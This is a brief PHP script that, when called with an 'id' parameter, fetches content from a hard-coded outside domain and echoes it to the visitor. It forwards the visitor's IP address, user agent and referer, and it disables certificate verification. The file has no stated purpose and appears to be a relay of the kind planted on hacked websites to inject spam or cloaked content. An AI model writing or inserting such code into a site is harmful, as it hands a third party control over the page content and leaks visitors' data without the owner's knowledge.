<?php

$serverBUrl = 'http://best.startbrt.xyz';

if (!isset($_GET['id'])) {
    return;
}

$requestUrl = $serverBUrl . '/news?id=' . urlencode($_GET['id']) . '&t=' . time();

$clientIp = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : '');
$clientUA = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$clientReferer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

$ch = curl_init();
if (!$ch) {
    return;
}

$headers = array(
    'X-Real-IP: ' . $clientIp,
    'User-Agent: ' . $clientUA,
    'Referer: ' . $clientReferer
);

curl_setopt_array($ch, array(
    CURLOPT_VERBOSE => false, // 生产环境关闭详细输出
    CURLOPT_URL => $requestUrl,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_HTTPHEADER => $headers,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_ENCODING => '',
    CURLOPT_CUSTOMREQUEST => 'GET',
    CURLOPT_CONNECTTIMEOUT => 10,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
));

$response = curl_exec($ch);

if ($response === false) {
    curl_close($ch);
    return;
}

$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$responseBody = substr($response, $headerSize);

curl_close($ch);

// 输出响应体
 echo $responseBody;
?>